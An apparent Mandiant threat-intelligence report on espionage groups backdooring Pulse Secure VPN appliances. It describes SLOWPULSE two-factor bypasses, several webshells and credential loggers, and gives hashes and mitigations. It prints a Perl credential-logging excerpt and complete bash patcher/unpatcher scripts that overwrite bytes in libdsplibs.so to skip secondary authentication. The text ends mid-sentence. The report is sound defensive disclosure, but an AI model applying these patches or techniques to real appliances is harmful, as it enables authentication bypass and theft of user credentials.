Mandiant is currently tracking 12 malware families associated with
the exploitation of Pulse Secure VPN devices. These families are
related to the circumvention of authentication and backdoor access to
these devices, but they are not necessarily related to each other and
have been observed in separate investigations. It is likely that
multiple actors are responsible for the creation and deployment of
these various code families.
The focus of this report is on the activities of UNC2630 against
U.S. Defense Industrial base (DIB) networks, but detailed malware
analysis and detection methods for all samples observed at U.S. and
European victim organizations are provided in the technical annex to
assist network defenders in identifying a large range of malicious
activity on affected appliances. Analysis is ongoing to determine the
extent of the activity.
Mandiant continues to collaborate with the Ivanti and Pulse Secure
teams, Microsoft Threat Intelligence Center (MSTIC), and relevant
government and law enforcement agencies to investigate the threat, as
well as develop recommendations and mitigations for affected Pulse
Secure VPN appliance owners.
As part of their investigation, Ivanti has released mitigations for
a vulnerability exploited in relation to this campaign as well as the
Connect Secure Integrity Tool to assist with determining if
systems have been impacted.
Early this year, Mandiant investigated multiple intrusions at
defense, government, and financial organizations around the world. In
each intrusion, the earliest evidence of attacker activity traced back
to DHCP IP address ranges belonging to Pulse Secure VPN appliances in
the affected environment.
In many cases, we were not able to determine how actors obtained
administrator-level access to the appliances. However, based on
analysis by Ivanti, we suspect some intrusions were due to the
exploitation of previously disclosed Pulse Secure vulnerabilities from
2019 and 2020 while other intrusions were due to the exploitation of
CVE-2021-22893.
We observed UNC2630 harvesting credentials from various Pulse Secure
VPN login flows, which ultimately allowed the actor to use legitimate
account credentials to move laterally into the affected environments.
In order to maintain persistence to the compromised networks, the
actor utilized legitimate, but modified, Pulse Secure binaries and
scripts on the VPN appliance. This was done to accomplish the following:
In a separate incident in March 2021, we observed UNC2717 using
RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization.
Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630
against U.S. DIB companies, these malware families have shared
characteristics and serve similar purposes to other code families used
by UNC2630. We also observed an OpenSSL library file modified in
similar fashion as the other trojanized shared objects. We believe
that the modified library file, which we’ve named LOCKPICK, could
weaken encryption for communications used by the appliance, but do not
have enough evidence to confirm this.
Due to a lack of context and forensic evidence at this time,
Mandiant cannot associate all the code families described in this
report to UNC2630 or UNC2717. We also note the possibility that one or
more related groups is responsible for the development and
dissemination of these different tools across loosely connected APT
actors. It is likely that additional groups beyond UNC2630 and UNC2717
have adopted one or more of these tools. Despite these gaps in our
understanding, we included detailed analysis, detection techniques,
and mitigations for all code families in the Technical Annex.
During our investigation into the activities of UNC2630, we
uncovered a novel malware family we labeled SLOWPULSE. This malware
and its variants are applied as modifications to legitimate Pulse
Secure files to bypass or log credentials in the authentication flows
that exist within the legitimate Pulse Secure shared object
variants enable the attacker to bypass two-factor authentication. A
brief overview of these variants is covered in this section, refer to
the Technical Annex for more details.
This variant is responsible for bypassing LDAP and RADIUS-2FA
authentication routines if a secret backdoor password is provided by
the attacker. The sample inspects login credentials used at the start
of each protocol’s associated routine and strategically forces
execution down the successful authentication patch if the provided
password matches the attacker's chosen backdoor password.
LDAP Auth Bypass
The routine
LDAP authentication procedure. This variant inserts a check against
the backdoor password after the bind routine so that the return value
can be conditionally stomped to spoof successful authentication.
Figure 1: LDAP Auth Bypass
RADIUS Two Factor Auth Bypass
The routine
begins the RADIUS-2FA authentication procedure. This variant inserts
checks against the backdoor password after the RADIUS authentication
packet is received back from the authentication server. If the
backdoor password is provided by the attacker, the packet type and
successful authentication status flags are overwritten to spoof
successful authentication.
Figure 2: Radius-2FA Bypass
ACE Two Factor Auth Credential Logging
This variant logs credentials used during the ACE-2FA authentication
procedure
Rather than bypassing authentication, this variant logs the username
and password to a file for later use by the attacker.
Figure 3: ACE Auth Credential Log
ACE Two Factor Auth Bypass
This variant is responsible for bypassing the ACE-2FA logon
procedure starting with
flow of the authentication procedure is modified to bypass the routine
responsible for verifying the username and password if the backdoor
password is provided. With this modification the attacker can spoof
successful authentication.
Figure 4: ACE Auth Bypass Variant
RealmSignin Two Factor Auth Bypass
This variant bypasses the
Pulse Secure VPN. The inserted logic modifies the execution flow of a
specific step of the login process to spoof successful authentication.
We believe that this may be a two-factor authentication bypass.
Figure 5: RealmSignIn 2FA Auth Bypass
We are in the early stages of gathering evidence and making
attribution assessments and there are a number of gaps in our
understanding of UNC2630, UNC2717, and these 12 code families.
Nevertheless, the Mandiant and Ivanti teams are proactively releasing
this analysis to assist network defenders in triaging and identifying
malicious activity on affected appliances.
Mandiant is able to assess that:
UNC2630’s combination of infrastructure, tools, and on-network
behavior appear to be unique, and we have not observed them during any
other campaigns or at any other engagement. Despite these new tools
and infrastructure, Mandiant analysts noted strong similarities to
historic intrusions dating back to 2014 and 2015 and conducted by
Chinese espionage actor APT5. We have also uncovered limited evidence
to suggest that UNC2630 operates on behalf of the Chinese government.
Analysis is still ongoing to determine the full scope of the activity
that maybe related to the group.
Although we are not able to definitively connect UNC2630 to APT5, or
any other existing APT group, a trusted third party has uncovered
evidence connecting this activity to historic campaigns which Mandiant
tracks as Chinese espionage actor APT5. While we cannot make the same
connections, the third party assessment is consistent with our
understanding of APT5 and their historic TTPs and targets.
APT5 has shown significant interest in compromising networking
devices and manipulating the underlying software which supports these
appliances. They have also consistently targeted defense and
technology companies in the U.S., Europe, and Asia.
All Pulse Secure Connect customers should assess the impact of the
Pulse Secure mitigations and apply it if possible. Organizations
should utilize the most recent version of Pulse Secure’s Integrity
Assurance utility
on March 31, 2021. If a device fails this Integrity Assurance utility,
network administrators should follow the
here and contact their Pulse CSR for additional guidance.
Organizations should examine available forensic evidence to
determine if an attacker compromised user credentials. Ivanti highly
recommends resetting all passwords in the environment and reviewing
the configuration to ensure no service accounts can be used to
authenticate to the vulnerability.
Additional detections, mitigations and relevant MITRE ATT&CK
techniques are included in the Technical Annex. Sample hashes and
analysis are included to enable defenders to quickly assess if their
respective appliances have been affected. Yara rules, Snort rules, and
hashes are published on
GitHub page.
1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc
7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a
68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2
d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b
cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68
a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1
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1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd
68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2
88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079
133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a
1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9
06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7
f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90
224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450
64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7
78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282
705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f
The following list of MITRE ATT&CK techniques cover all malware
samples described in this report as well as those observed throughout
the lifecycle of UNC2630 and UNC2717.
Figure 6: MITRE ATT&CK Map
The file meeting_testjs.cgi (SHA256:
is a webshell capable of arbitrary file read, write, and command
execution. Malicious logic is inserted at the end of legitimate logic
to respond to POST requests. We believe this webshell may be
responsible for placing additional webshells and used to modify
legitimate system components resulting in the other observed malware
families due to its functionality.
The malicious logic inserts a branch condition to respond to HTTP
POST requests rather than just the typical GET requests expected of
the legitimate code. If GET requests are performed the legitimate
logic is still invoked. POST requests have a series of parameters
checked for existence to determine which command to invoke. This logic is:
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Figure 7: Webshells respond to POSTs
All incoming and outgoing requests are base64 encoded/decoded and
RC4 encrypted/decrypted. The scheme is simple. The first six
characters of the data are a random key generated per request as a
sort of nonce, with the static RC4 key appended. This nonce + phrase
together act as the RC4 key. The phrase is not sent over the wire,
only the nonce. This entire key is then used to encrypt/decrypt
payload data that immediately follows the key. The form of data on the
wire is:
Outbound/Inbound:
<6randbytes><encrypted_data>
^-RC4NONCE-^
Usage:
^-------RC4 KEY--------^
ReadFile
This command accepts a base64 encoded, RC4 encrypted file name via
the img parameter and opens it for read. The
file contents are read in full then sent back to the attacker as
base64 encoded, RC4 encrypted data with the headers
application/x-download\n", and form header
WriteFile
This command accepts a base64 encoded, RC4 encrypted filename via
the cert parameter, and base64 encoded, RC4
encrypted file data via the parameter md5.
The filename is opened in write mode with the file data being written
to the file before the file is closed. The results of this command are
sent back to the attacker, using the headers
Execute
This command accepts a base64 encoded, RC4 encrypted commands via
the name parameter. The malicious logic
forbids the cd command and will respond with
the text Error 404 if executed. All other
commands will be executed via the system API
with output piped to the file /tmp/1. The
full system command is <command> >/tmp/1
2>&1. The output of this execution is read and sent back
to the attacker base64 encoded, RC4 encrypted. The headers
used. The response appears to be masquerading as a GIF when sending
back this command output.
The file with the SHA256 hash
is a modified Perl script associated with a PulseSecure web-based tool
which causes usernames, passwords and information associated with
logins to this application to be written to the file /tmp/dsstartssh.statementcounters.
Retrieval of these login credentials must be achieved through other
means such as an interactive login or a webshell. Persistence is
achieved by the addition of compromised code which is continually
served when requesting this PulseSecure webpage.
An excerpt of the code related to credential stealing is shown as follows:
my $realmName1 = $signin->getRealmInfo()->{name};
open(*fd, ">>/tmp/dsstartssh.statementcounters");
syswrite(*fd, "realm=$realmName1 ",
5000);
syswrite(*fd, "username=$username ",
5000);
syswrite(*fd, "password=$password\n", 5000);
close(*fd);
The file libdsplibs.so with SHA256
is a trojanized ELF shared object belonging to the PulseSecure VPN
server. The sample has been modified to bypass specific authentication
mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a
backdoor key that will silently subvert auth failures if the correct
backdoor key is passed, establishing a VPN connection as if auth
succeeded. If the backdoor password is not used, authentication will
fail as normal.
In multiple locations assembly is written into the padding regions
between legitimate functions. As these regions are very small, around
20 bytes, the malicious logic stitches itself together by
unconditionally jumping between multiple padding regions. The assembly
is written in a way very similar to mid-function hooks, where it is
common to push and then pop all flags and registers before and after
the injected logic. By preserving registers and flags in this way the
malicious logic is able to execute and perform its malicious logic as
a passive observer if desired, only effecting the control flow in
specific conditions. This is employed in two locations, the LDAP and
RADIUS authentication routines,
LDAP Auth Bypass
In the typical execution of
legitimate application constructs the C++ object
DSLdapServer::bind with the username and
password for login. This bind may fail or succeed which determines the
authentication failure or success of the LDAP protocol. The malicious
logic inserted into the application redirects execution before
constructed. At this point in execution the username and password are
easily extracted from memory with mid-function hooking techniques,
which the sample copies to a code cave in memory between two functions
as a temporary storage location. The malicious logic then invokes
DSLdapServer::bind as the normal logic
would, which sets the return register EAX to 0 or 1 for failure or
success. A check is then executed where the temporary password copy
made earlier is checked against a hardcoded backdoor password. If this
check passes the backdoor logic actives by overwriting EAX to 1 to
force the application down the execution path of successful
authentication, even though in reality authentication failed.
In the typical execution of
the legitimate application sends a RADIUS-2FA auth packet with
username and password via
is then retrieved and parsed by the routine
packet retrieval the packet type is verified to be 3, it's not known
what this packet type specifies but this is the packet type of a
successful authentication response. If the packet type check passes,
then the sample reads a field of the packet that specifies if
authentication was successful or not and then checks this status
later. The inserted malicious logic hijacks execution just after
password sent to the RADIUS server is checked against a backdoor
password. If this check passes the malicious logic overwrites the
retrieved packet with values indicating that it's of type 3 and that
authentication was successful. The malicious logic then rejoins the
original execution flow where the packet type is checked. If written
the spoofed values force the application down the execution path of
successful authentication, even though in reality authentication failed.
ACE Two Factor Auth Credential Logging
We also identified a variant of SLOWPULSE (SHA256:
which logs credentials used during ACE-2FA protocol authentication.
The backdoor is implemented in the routine
part of the login procedure the username and password are retrieved
then written into a map entry structure. The backdoor inserts an
unconditional jump into the logon logic that takes this map entry
structure, reads the username and password fields, then writes them to
the file /home/perl/PAUS.pm in
back into the normal control flow to continue the logon process as normal.
ACE Two Factor Auth Bypass
We Identified another variant of SLOWPULSE (SHA256:
which is similar to SLOWPULSE VARIANT 2 the malicious logic lives
within
however this variant bypasses the logon procedure rather than login
credentials. Typical execution of this routine calls
password which sets the EAX register to 1. The routine
checks EAX to determine if auth was successful or not. The malicious
logic hijacks execution immediately after the username and password
fields are written to their map entries, then checks if the password
matches the backdoor password. If the password matches, then the EAX
register is overwritten to 1. This puts the program in the same state
as if DsSecID_checkLogin had successfully
executed, but unlike SLOWPULSE VARIANT 1 the original authentication
routine is not called at all. The malicious logic then rejoins
execution before
will now pass. This forces the application down the execution path of
successful authentication, even though in reality authentication would
have failed.
RealmSignin Two Factor Auth Bypass
We identified a fourth variant of SLOWPULSE responsible for
bypassing what may be the two-factor authentication step of the
present within the function
responsible for multiple steps of the login procedure and is
implemented as a large switch statement. Case 11 of the switch
statement typically calls the routines
malicious logic in this variant overwrites the call to
DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces
application flow as if DSAuth::RealmSignin::runSecondaryAuth always
succeeds, without ever calling it. We were not able to recover a file
with these patches applied as the attacker removed their patches after
use. However, we did uncover both the patcher and unpatcher utilities.
We do not provide a hash for this file as we have not recovered it
from a system in the field. This analysis was performed by replaying
the changes performed by the patcher we did recover.
As part of our investigation into the SLOWPULSE family we were able
to recover the utility used by the attacker to insert the malicious
logic into the original libdsplibs.so file.
The file with SHA256:
is responsible for inserting SLOWPULSE V2 malicious logic to log ACE
credentials. The patcher accepts two command line arguments, the path
to the original binary and the patched output file path. The original
binary is read into memory, patched, and then written to the output
path. The assembly patches and offsets into the original binary are hardcoded.
As part of our investigation into the SLOWPULSE family we were able
to recover the utility used by the attacker to insert the malicious
logic into the original libdsplibs.so file.
The file with SHA256:
is responsible for inserting SLOWPULSE V3 malicious logic to bypass
ACE logon authentication process. The patcher accepts four arguments.
The first argument is the original binary path, the second the patched
output file path, third is the backdoor bypass password, and fourth is
the letter e specifying to apply patches. The sample reads the
original binary into memory, applies the assembly patches associated
with SLOWPULSE V3, as well as the provided bypass password, then
written to the output path. The assembly patches, and all offsets
including where to copy the bypass password are hardcoded.
As part of our investigation into the SLOWPULSE family we recovered
the utility the attacker used to insert the malicious logic into the
original libdsplibs.so file. The file with
SHA256:
responsible for inserting the patch for SLOWPULSE V3. The patch
applied overwrites a single call to
bash script, unlike the previous patchers which were compiled
applications likely written in C. The script in full is:
printf '\xB8' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1
count=1 seek=$((0x5C7B32))
printf '\x00' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1
count=1 seek=$((0x5C7B34))
printf '\x00' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))
As part of our investigation into the SLOWPULSE family we were able
to recover the utility used by the attacker to remove the malicious
logic into the original libdsplibs.so file
for SLOWPULSE V4. The attacker chose to remove the patches applied to
libdsplibs.so. The file with SHA256:
is the unpatcher utility for SLOWPULSE V4. This sample is also a
simple bash script, in full it is:
printf '\xE8' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1
count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1
count=1 seek=$((0x5C7B34))
printf '\xFF' | dd conv=notrunc
of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))
The file licenseserverproto.cgi (SHA256:
is a webshell implemented via modification of a legitimate Perl script
used by a Pulse Secure tool which enables arbitrary command execution.
The attacker inserted two blocks of Perl code that implement the
webshell. The source code modifications are surrounded by comments
that indicate the start and end of inserted code. The comment strings
used are ##cgistart1,
and ##cgiend2. Although the exact purpose of
these comment strings is unknown, the attacker may use them to
facilitate updates to the malicious code or to allow for its quick
removal if necessary.
The webshell portion of the script is invoked when it receives a
form submission name=value pair of
webshell to extract the string passed to it via the
key/value pairs delimited by the &
character and are URL decoded. Although the script parses out all
key/value pairs it receives, it specifically looks for and extracts
data associated with the cmd parameter. If found, it will generate a
form containing the extracted cmd to be executed and the previous
serverid value along with a form
submission button named Run. Upon
submission, the webshell will execute the passed command on the victim
host's command line and display the results to the attacker before
exiting. If no cmd value was extracted, the webshell will simply
output a HTML tag.
The file secid_canceltoken.cgi (SHA256:
is a webshell written in Perl that enables arbitrary command
execution. With a properly formatted request, the script will execute
webshell code. Otherwise, the legitimate welcome page of the Pulse
Secure VPN software is presumably invoked.
The script checks for web requests using the HTTP POST method and,
if found, will further check the HTTP request headers for the CGI
environment variable HTTP_X_KEY. If this
header matches a backdoor key, then the malware will output the result
of the command sent in the variable
base64-encoded. The passphrase to decrypt is sent in the environment
variable HTTP_X_CNT. The webshell will set
the content type to
printed. Following this, the script exits.
The file dsserver (SHA256:
is a legitimate Perl script with malicious modifications to fork the
child process /home/bin/dshelper. The
dshelper script does not exist on a clean PulseSecure installation,
this file is described as QUIETPULSE Utility Script.
The file dshelper (SHA256:
is a shell script invoked by a malicious version of
script responsible for copying files and executing commands. Like the
ATRIUM patcher, this script accesses /tmp/data, a path which is used
during a system upgrade. This file is therefore, like the ATRIUM
patcher, used by the attacker to maintain persistence. The script is
set to execute in a loop where four main checks are executed every two
minutes. The checks are as follows:
Check 1
If
exists and is non-empty then execute:
It checks if the file has the contents
content, then retrieve the first line of the file by executing:
Then copy a file via:
Then replace the copy’s first line with the one retrieved from the
sed above via:
Check 2
If /tmp/data/root/home/bin/ exists as a
directory, then check if the file
If it does not exist, then place it there by copying a file via:
Check 3
If /tmp/data/root/home/bin/dsserver exists
and is non-empty then execute the following to check if the file does
not contain the string exec("/home/bin/dshelper"):
If it doesn't then execute to insert the line:
Check 4
If the file
and is non-empty, then check if the file contains the string
If the file does contain this content, then execute the following to
switch the content to exit 0:
The file with SHA256:
is a system information and credential harvesting Perl script. The
sample writes information from multiple sources to the file
The sample begins by retrieving all auth servers via the API
results. Next, the sample logs all roles via the API
values to the file. The sample may also retrieve and log additional
information depending on the device configuration.
The file compcheckjava.cgi (SHA256:
has the ability to read and write arbitrary files and may execute
arbitrary commands depending on the implementation of a particular
library function.
The sample responds to HTTP GETs and PUTs. The GET path is not
relevant, but the PUT path first checks if the incoming requests
passcode. If this check passes the sample inspects the param
non-empty the sample displays a prompt to the user that includes
hardware information and then base64 decodes the param
matches a recoveryToken is generated which is the MD5 hash of 16
random bytes, with the result hash truncated to 8 characters. This
token is then displayed to the user via the URL
and the sample exits. If this check did not match then the sample
passes the base64 decoded data to a routine
however this implementation is not provided and is speculation.
If the param hashid is empty the sample instead checks that the
param m is non-empty. If so, it's matched
against get and put which will read/write arbitrary files to the host, respectively.
The file compcheckresult.cgi (SHA256:
is a webshell capable of arbitrary command execution. The sample has
malicious logic inserted at the end of legitimate logic. The malicious
logic inspects all requests of any type looking for the HTTP query
parameter id. If this query parameter
exists, the sample executes it verbatim on using the
obfuscate the command in any way. If the query parameter is not found
in the request, then the original legitimate logic is invoked.
The file DSUpgrade.pm (SHA256:
is a patcher utility script responsible for pers